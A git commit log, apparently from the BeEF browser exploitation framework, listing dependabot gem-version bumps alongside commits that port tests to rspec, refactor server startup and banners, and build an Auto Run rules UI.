9393ba33d3 Merge branch 'bump-gems' into dependabot/bundler/nokogiri-1.16.5 2024-05-23 06:10:00 +10:00
dependabot[bot]
49b2ba3263 Bump rexml from 3.2.6 to 3.2.8
Bumps [rexml](https://github.com/ruby/rexml) from 3.2.6 to 3.2.8.
- [Release notes](https://github.com/ruby/rexml/releases)
- [Changelog](https://github.com/ruby/rexml/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/rexml/compare/v3.2.6...v3.2.8)

---
updated-dependencies:
- dependency-name: rexml
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-16 21:46:00 +00:00
dependabot[bot]
64d8b542bb Bump nokogiri from 1.16.2 to 1.16.5
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.16.2 to 1.16.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.16.2...v1.16.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-13 23:41:01 +00:00
dependabot[bot]
0243619940 Bump rubocop from 1.63.4 to 1.63.5
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.4 to 1.63.5.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.4...v1.63.5)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-09 13:57:47 +00:00
dependabot[bot]
9b05cf2683 Bump irb from 1.13.0 to 1.13.1
Bumps [irb](https://github.com/ruby/irb) from 1.13.0 to 1.13.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.13.0...v1.13.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-06 13:25:20 +00:00
Stephen
6d6208cd81 Refactor Rakefile and spec files for better organization and readability 2024-05-05 03:28:20 +10:00
Stephen
ed7c9e8d3b Refactor Rakefile and spec files for better organization and readability 2024-05-05 03:27:23 +10:00
Stephen
0ff092902f Merge branch 'master' into port-tests 2024-05-04 04:38:06 +10:00
Stephen
5c4fccff48 Merge branch 'pr/jbrahy/3075' 2024-05-04 04:24:25 +10:00
John Brahy
591f76edea Update github_actions.yml
spelling error
2024-05-02 15:13:00 -07:00
dependabot[bot]
a1f27860a8 Bump irb from 1.12.0 to 1.13.0
Bumps [irb](https://github.com/ruby/irb) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-02 13:50:59 +00:00
Stephen
a72668581b Merge branch 'master' into port-tests 2024-05-02 06:06:12 +10:00
Stephen
6d1c3c3a31 Merge branch 'master' into bump-gems 2024-05-02 06:02:20 +10:00
Stephen
cfc6da3834 fix sqlite3 gem version 2024-05-02 05:58:52 +10:00
dependabot[bot]
6b58cd3a6c Bump rubocop from 1.63.2 to 1.63.4
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.2 to 1.63.4.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.2...v1.63.4)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-01 19:47:55 +00:00
Stephen
ce71efbe73 Merge branch 'dependabot/bundler/sqlite3-2.0.1' into bump-gems 2024-05-01 04:34:19 +10:00
Stephen
38eb68f703 Merge branch 'bump-gems' into port-tests 2024-04-30 10:28:38 +10:00
Stephen
8bcde3006d Merge branch 'dependabot/bundler/rubocop-1.63.3' into bump-gems 2024-04-30 10:24:01 +10:00
Stephen
fe26a9f9bd Fix port availability check and add error message 2024-04-28 15:58:12 +10:00
Stephen
89c587c0d4 correct rspec name 2024-04-28 15:54:53 +10:00
dependabot[bot]
0cc3347a7b Bump selenium-webdriver from 4.19.0 to 4.20.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.19.0 to 4.20.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-26 13:02:19 +00:00
dependabot[bot]
60a53ff303 Bump rubocop from 1.63.2 to 1.63.3
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.2 to 1.63.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.2...v1.63.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-23 13:30:28 +00:00
Stephen
6bd1b720be Merge branch 'master' into port-tests 2024-04-21 05:50:14 +10:00
dependabot[bot]
b33f004c0e Bump sqlite3 from 1.7.3 to 2.0.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.3 to 2.0.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.3...v2.0.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-20 19:24:46 +00:00
Stephen
4269c80668 Merge branch 'master' into dependabot/bundler/json-2.7.2 2024-04-21 05:14:19 +10:00
Stephen
e610f9947f Merge branch 'dependabot/bundler/rake-13.2.1' 2024-04-21 05:10:43 +10:00
Stephen
051502aeb2 Merge branch 'master' into dependabot/bundler/term-ansicolor-1.8.0 2024-04-21 04:58:31 +10:00
Stephen
4fe7fe73de remove misnamed file 2024-04-21 04:05:16 +10:00
Stephen
0eda8bbf48 add tests for debug modules 2024-04-21 04:03:45 +10:00
Stephen
92d84aa988 add tests to load modules 2024-04-21 04:03:24 +10:00
Stephen
8fe4673325 add ui support for tests 2024-04-21 04:01:21 +10:00
dependabot[bot]
0301de8e1c Bump rubocop from 1.62.1 to 1.63.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.62.1 to 1.63.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.62.1...v1.63.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-16 13:19:05 +00:00
dependabot[bot]
1c551d975c Bump term-ansicolor from 1.7.2 to 1.8.0
Bumps [term-ansicolor](https://github.com/flori/term-ansicolor) from 1.7.2 to 1.8.0.
- [Changelog](https://github.com/flori/term-ansicolor/blob/master/CHANGES)
- [Commits](https://github.com/flori/term-ansicolor/compare/v1.7.2...v1.8.0)

---
updated-dependencies:
- dependency-name: term-ansicolor
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-15 13:46:15 +00:00
Stephen
213cd721d6 clean up modules to assist in testing 2024-04-14 11:04:18 +10:00
dependabot[bot]
87c538d14f Bump rake from 13.1.0 to 13.2.1
Bumps [rake](https://github.com/ruby/rake) from 13.1.0 to 13.2.1.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.1.0...v13.2.1)

---
updated-dependencies:
- dependency-name: rake
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-05 13:11:00 +00:00
dependabot[bot]
67da254ee2 Bump json from 2.7.1 to 2.7.2
Bumps [json](https://github.com/flori/json) from 2.7.1 to 2.7.2.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.7.1...v2.7.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-04 13:52:11 +00:00
Stephen
1699a1dcde fixed module ui subfolder bug 2024-04-04 07:31:13 +10:00
Stephen
34fa29a958 added a cycle through the debug tests using their yml files 2024-04-02 15:49:35 +10:00
Stephen
4bb75179af start porting tests for debug modules 2024-04-01 10:45:10 +10:00
Stephen
ed0e43bd27 add db reset function reset_beef_db 2024-04-01 10:42:52 +10:00
Stephen
6afee3fc37 add BROWSER_HOOKING_TIMEOUT const 2024-04-01 10:42:30 +10:00
Stephen
5c4043977b remove excess require 2024-04-01 10:42:08 +10:00
Stephen
5102a1f196 changed to use SERVER_START_TIMEOUT 2024-03-30 17:05:05 +10:00
Stephen
e61a632d3c added SERVER_START_TIMEOUT const 2024-03-30 17:04:52 +10:00
Stephen
bbffef1ea7 changed tests to use PAGE_LOAD_TIMEOUT const 2024-03-30 16:54:44 +10:00
Stephen
b00573de72 aded PAGE_LOAD_TIMEOUT const 2024-03-30 16:53:15 +10:00
Stephen
fbbc607d3c Merge branch 'master' into port-tests 2024-03-30 10:47:08 +10:00
Stephen
21d833c004 Merge branch 'dependabot/bundler/async-1.32.1' 2024-03-30 10:28:51 +10:00
dependabot[bot]
7227e31696 Bump selenium-webdriver from 4.18.1 to 4.19.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.18.1 to 4.19.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.18.1...selenium-4.19.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-28 13:53:58 +00:00
dependabot[bot]
b545e7010f Bump async from 1.32.0 to 1.32.1
Bumps [async](https://github.com/socketry/async) from 1.32.0 to 1.32.1.
- [Release notes](https://github.com/socketry/async/releases)
- [Changelog](https://github.com/socketry/async/blob/main/release.cert)
- [Commits](https://github.com/socketry/async/compare/v1.32.0...v1.32.1)

---
updated-dependencies:
- dependency-name: async
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-28 13:52:35 +00:00
Stephen
f378c0c999 Merge branch 'pr/LauchieHarvey/3031' into port-tests 2024-03-28 08:30:12 +10:00
Stephen
b5bbe9ed6a port login tests to rspec 2024-03-28 08:21:46 +10:00
Stephen
cdba6b632f use new stop_beef_server function 2024-03-28 08:21:06 +10:00
Stephen
9427107044 set to UTF-8 and add a stop server function 2024-03-28 08:20:07 +10:00
Stephen
6ee901724f add a test and remove the screenshot code 2024-03-28 08:19:09 +10:00
Stephen
6ea6e8d434 Merge branch 'bump-gems' into dependabot/bundler/rack-2.2.9 2024-03-28 03:57:11 +10:00
Stephen
473e4c1f74 Merge branch 'bump-gems' into dependabot/bundler/rdoc-6.6.3.1 2024-03-28 03:53:06 +10:00
Stephen
4841028648 Merge branch 'dependabot/bundler/net-smtp-0.5.0' into bump-gems 2024-03-28 03:52:22 +10:00
Stephen
3a2e11170d Merge branch 'port-tests' into dependabot/bundler/net-smtp-0.5.0 2024-03-28 03:49:54 +10:00
Stephen
45cb16c27a Merge branch 'master' into dependabot/bundler/async-1.32.0 2024-03-28 03:41:15 +10:00
Stephen
660487a9e6 Merge branch 'master' into pr/LauchieHarvey/3031 2024-03-28 03:13:43 +10:00
Stephen
6c960ea8aa stage login tests 2024-03-28 03:12:08 +10:00
Stephen
60cc069a3b remove excess new line 2024-03-28 03:10:31 +10:00
Stephen
dba210c109 tidy login_spec file 2024-03-28 03:08:32 +10:00
Stephen
83015d0a40 tidy unused 2024-03-28 03:07:43 +10:00
dependabot[bot]
d713e37506 Bump async from 1.31.0 to 1.32.0
Bumps [async](https://github.com/socketry/async) from 1.31.0 to 1.32.0.
- [Release notes](https://github.com/socketry/async/releases)
- [Changelog](https://github.com/socketry/async/blob/main/release.cert)
- [Commits](https://github.com/socketry/async/compare/v1.31.0...v1.32.0)

---
updated-dependencies:
- dependency-name: async
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-27 13:25:25 +00:00
dependabot[bot]
5f7d5e822a Bump net-smtp from 0.4.0.1 to 0.5.0
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.4.0.1 to 0.5.0.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.4.0.1...v0.5.0)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-27 13:25:00 +00:00
Stephen
aaf4c58235 tidy unused file 2024-03-27 18:57:28 +10:00
Stephen
24a25d6e6a tidy BeefTest and add more test cases 2024-03-27 18:53:56 +10:00
Stephen
f0bb5ed2d6 added boiler plate 2024-03-27 18:50:13 +10:00
Stephen
712201d909 fixed logout helper and cleaned up code 2024-03-26 19:04:58 +10:00
Stephen
c51c0fca6d added boiler plate 2024-03-26 19:03:50 +10:00
Stephen
0fb4805c44 fixed login helper function 2024-03-26 06:53:33 +10:00
Stephen
92e03ba62b remove excess comments 2024-03-25 17:12:19 +10:00
Stephen
0821490acd Merge branch 'master' into pr/LauchieHarvey/3031 2024-03-25 12:20:05 +10:00
Stephen
822c6616de removed excess debug code 2024-03-25 12:18:13 +10:00
Stephen
140129a91a fixed module loading bug 2024-03-25 12:16:33 +10:00
Stephen
95037f7c5a added the print dns function for banner info 2024-03-25 12:00:12 +10:00
Stephen
c4b0b63e90 move dns banner output into to banners.rb - still had a bug 2024-03-25 11:44:33 +10:00
Stephen
3e56a94573 tidy up auth_rate_spec 2024-03-25 07:26:54 +10:00
Stephen
27ae165f92 removed incorrect comment 2024-03-25 07:17:38 +10:00
Stephen
85e550e44c add test clean up of config settings 2024-03-25 05:38:27 +10:00
Stephen
88f383baae removed old tests 2024-03-24 18:14:19 +10:00
Stephen
52abaa32f2 fixed @server_started file init 2024-03-24 16:59:38 +10:00
Stephen
a41e2bb637 fix typo 2024-03-22 15:19:20 +10:00
Stephen
f978b5fc4f moved testing server functions to spec_helper.rb 2024-03-22 11:47:45 +10:00
Stephen
2d54cde54d basic format change 2024-03-22 11:33:27 +10:00
Stephen
86cf8bcfe5 added shutdown for the dns server 2024-03-22 11:02:10 +10:00
Stephen
8e67dab667 set dns logger level to ERROR only 2024-03-22 10:48:33 +10:00
Stephen
abdd89eacc stop multiple dns servers from starting and add a stop function 2024-03-22 10:32:31 +10:00
Stephen
5392867e72 enable QR tests 2024-03-22 05:44:43 +10:00
Stephen
50d03b5619 clean up QR output 2024-03-22 05:36:59 +10:00
Stephen
a67c791731 clean up QR output 2024-03-22 05:36:17 +10:00
Stephen
9077123d1e change to Configuration.instance instead of calling .new 2024-03-22 05:04:12 +10:00
dependabot[bot]
ba7e9b44e5 Bump rdoc from 6.6.2 to 6.6.3.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.6.2 to 6.6.3.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.6.2...v6.6.3.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-21 13:59:03 +00:00
dependabot[bot]
eb9011e66a Bump rack from 2.2.8.1 to 2.2.9
Bumps [rack](https://github.com/rack/rack) from 2.2.8.1 to 2.2.9.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.8.1...v2.2.9)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-21 13:58:43 +00:00
Stephen
55632fe2d6 move the proxy banner to banners.rb 2024-03-20 16:43:13 +10:00
Stephen
0f216f4e20 refactor test cases 2024-03-20 12:24:23 +10:00
Stephen
32543c6f33 refactor starting beef server 2024-03-20 04:11:39 +10:00
Stephen
91295243a3 :x
:q!
2024-03-19 06:55:15 +00:00
Stephen
f3e3e6b014 init 'creds' var 2024-03-19 14:07:45 +10:00
Stephen
312e397bb7 update year 2024-03-19 14:07:15 +10:00
Stephen
bc5915fb05 Merge branch 'master' into pr/catatonicprime/2990 2024-03-19 04:06:00 +00:00
Stephen
1ee90dd885 Merge branch 'master' into dependabot/bundler/term-ansicolor-1.7.2 2024-03-18 20:50:43 +00:00
Stephen
48159dd914 Merge branch 'master' into dependabot/bundler/sqlite3-1.7.3 2024-03-18 20:48:48 +00:00
Stephen
0d0e5c4c77 readd pdf bounce file 2024-03-19 05:54:34 +10:00
dependabot[bot]
59d0e1c007 Bump term-ansicolor from 1.7.1 to 1.7.2
Bumps [term-ansicolor](https://github.com/flori/term-ansicolor) from 1.7.1 to 1.7.2.
- [Changelog](https://github.com/flori/term-ansicolor/blob/master/CHANGES)
- [Commits](https://github.com/flori/term-ansicolor/compare/v1.7.1...v1.7.2)

---
updated-dependencies:
- dependency-name: term-ansicolor
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-18 13:13:45 +00:00
dependabot[bot]
30d65b381e Bump sqlite3 from 1.7.2 to 1.7.3
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.2 to 1.7.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.2...v1.7.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-18 13:12:27 +00:00
Stephen
29872dfbff Merge branch 'master' into dependabot/bundler/irb-1.12.0 2024-03-17 23:52:03 +00:00
Stephen
9e9470974a Merge branch 'master' into dependabot/bundler/rack-2.2.8.1 2024-03-17 23:44:36 +00:00
Stephen
62db76cdd9 Merge branch 'master' into dependabot/bundler/rubocop-1.62.1 2024-03-17 23:35:14 +00:00
Stephen
ffdc303652 everything commented out. tests to be included in a long version of testing 2024-03-18 07:27:48 +10:00
Stephen
386a417aeb improved test cases 2024-03-18 07:17:20 +10:00
Stephen
d01f94a061 updated/improved requester tests but still not fully working 2024-03-17 19:17:14 +10:00
Stephen
32b72c2134 fixed string mangement bug 2024-03-17 17:03:30 +10:00
Stephen
ca8e49286a fixed command class test 2024-03-17 16:55:08 +10:00
Stephen
1ec09bb569 move the deprecation warning to the comment as it is only used in tests 2024-03-17 10:58:39 +10:00
Stephen
0b6e759ada fix serialize deprecation warning 2024-03-17 09:41:41 +10:00
Stephen
851cdb249e remove the ARGV warning 2024-03-17 09:39:11 +10:00
Stephen
33b92a5aab clean up auth rate test 2024-03-17 08:04:44 +10:00
Stephen
424e05ba7c remove the deprecation warning relating to serialize 2024-03-17 08:00:08 +10:00
Stephen
2fe3aecde1 moved puts to print_info in rate limit test 2024-03-17 06:40:48 +10:00
Stephen
442bade925 added QR error handling 2024-03-17 06:06:32 +10:00
Stephen
2eea0d3ef5 update ActiveRecord::Migration function 2024-03-17 05:16:17 +10:00
dependabot[bot]
f1d69d0301 Bump rubocop from 1.60.2 to 1.62.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.60.2 to 1.62.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.60.2...v1.62.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-11 13:24:30 +00:00
dependabot[bot]
05f833f857 Bump irb from 1.11.2 to 1.12.0
Bumps [irb](https://github.com/ruby/irb) from 1.11.2 to 1.12.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.11.2...v1.12.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-07 13:35:24 +00:00
root
bc1b3efa78 Removed debug console logs. 2024-03-01 07:16:36 -05:00
root
f7bef44b8f Autorun module change and save through UI. 2024-03-01 05:39:01 -05:00
root
fd4c4c1af5 Module combobox provided. change handler not implemented yet. 2024-02-28 00:38:18 -05:00
root
a47a35e7bc Edit Autorun rules in UI with dynamic input fields for modules. 2024-02-26 00:35:12 -05:00
root
e25529a76b Autorun UI elements now match command module elements. 2024-02-24 19:11:33 -05:00
root
9ccd8c633b Textfields for ARE module input fields. 2024-02-22 20:55:10 -05:00
dependabot[bot]
f3c7e2ee8c Bump rack from 2.2.8 to 2.2.8.1
Bumps [rack](https://github.com/rack/rack) from 2.2.8 to 2.2.8.1.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.8...v2.2.8.1)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-22 13:34:55 +00:00
root
09cba67c90 Add module to a rule now via a button in the UI. 2024-02-21 22:16:24 -05:00
root
20089628b3 Can now delete ARE rule modules through UI. 2024-02-21 22:03:20 -05:00
root
c3bc4d2fcd Update DOM after creating, updating or deleting a rule. 2024-02-21 02:48:50 -05:00
root
065cd6dec9 Nicer format for Auto Run rules. 2024-02-21 02:40:14 -05:00
root
0fd2d433b2 Can now reorder modules in the UI. Execution order array is conflicting though. 2024-02-20 20:53:37 -05:00
root
fd2e56dd12 Created UI class for modules in Auto Run. 2024-02-20 16:52:49 -05:00
dependabot[bot]
913140133a Bump selenium-webdriver from 4.17.0 to 4.18.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.17.0 to 4.18.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.17.0...selenium-4.18.1)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-20 13:19:07 +00:00
root
c2267992c6 Editing ARE rule modules as JSON in the UI. Added display condition fields for ARE rules too. 2024-02-19 03:16:26 -05:00
root
503dd532f6 Can update rule name and chain_mode through UI. 2024-02-18 22:42:41 -05:00
root
1b1c8543b3 Added REST PATCH endpoint for updating ARE rules. 2024-02-18 21:05:02 -05:00
root
6a18655a48 Rules can now be deleted through the UI. 2024-02-18 16:57:56 -05:00
root
aaac53f9fb Add ARE rule button for testing. Created author, name and chain_mode fields. 2024-02-17 18:36:48 -05:00
root
b1c04f9f6f Created form component for each ARE rule. 2024-02-17 03:18:03 -05:00
root
bf4883a0f0 Fixed incorrect API url. Now loads ARE rules and displays titles. 2024-02-16 17:29:15 -05:00
root
459a99dce4 Query the list of ARE rules on render. Display the count. 2024-02-16 00:17:33 -05:00
root
920a5c5a5d Created a new panel in the UI for auto run elements. 2024-02-15 20:39:38 -05:00
Stephen
aa030d6949 Merge branch 'dependabot/bundler/capybara-3.40.0' 2024-02-15 15:45:48 +10:00
Stephen
180f3600fb Merge branch 'dependabot/bundler/rspec-3.13.0' 2024-02-15 15:40:27 +10:00
Stephen
d5db23ea19 update gemfile.lock 2024-02-14 19:15:15 +10:00
Stephen
56c71464eb Merge branch 'dependabot/bundler/nokogiri-1.16.2' 2024-02-14 14:44:52 +10:00
dependabot[bot]
599b960e54 Bump irb from 1.11.1 to 1.11.2
Bumps [irb](https://github.com/ruby/irb) from 1.11.1 to 1.11.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.11.1...v1.11.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-08 13:45:10 +00:00
dependabot[bot]
8338f52682 Bump nokogiri from 1.16.0 to 1.16.2
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.16.0 to 1.16.2.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.16.0...v1.16.2)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-06 03:52:07 +00:00
dependabot[bot]
c4997f94c5 Bump rspec from 3.12.0 to 3.13.0
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.12.0 to 3.13.0.
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.12.0...v3.13.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-05 13:50:06 +00:00
Stephen
0d5644146b Merge branch 'dependabot/bundler/sqlite3-1.7.1' 2024-01-30 14:16:34 +10:00
Stephen
f948352f39 Merge branch 'dependabot/bundler/rubocop-1.60.2' 2024-01-30 14:02:41 +10:00
dependabot[bot]
c823147b00 Bump capybara from 3.39.2 to 3.40.0
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.39.2 to 3.40.0.
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.39.2...3.40.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-29 13:57:23 +00:00
dependabot[bot]
addfffb5b2 Bump sqlite3 from 1.7.0 to 1.7.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.0 to 1.7.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.0...v1.7.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-26 22:42:11 +00:00
Stephen
753a37d3f3 Merge branch 'dependabot/bundler/selenium-webdriver-4.17.0' 2024-01-25 03:49:31 +10:00
dependabot[bot]
f663a8eede Bump rubocop from 1.59.0 to 1.60.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.59.0 to 1.60.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.59.0...v1.60.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-24 17:40:18 +00:00
dependabot[bot]
86cf4ca350 Bump selenium-webdriver from 4.16.0 to 4.17.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.16.0 to 4.17.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.16.0...selenium-4.17.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-23 13:56:12 +00:00
dependabot[bot]
f14ac02c89 Bump irb from 1.11.0 to 1.11.1
Bumps [irb](https://github.com/ruby/irb) from 1.11.0 to 1.11.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.11.0...v1.11.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

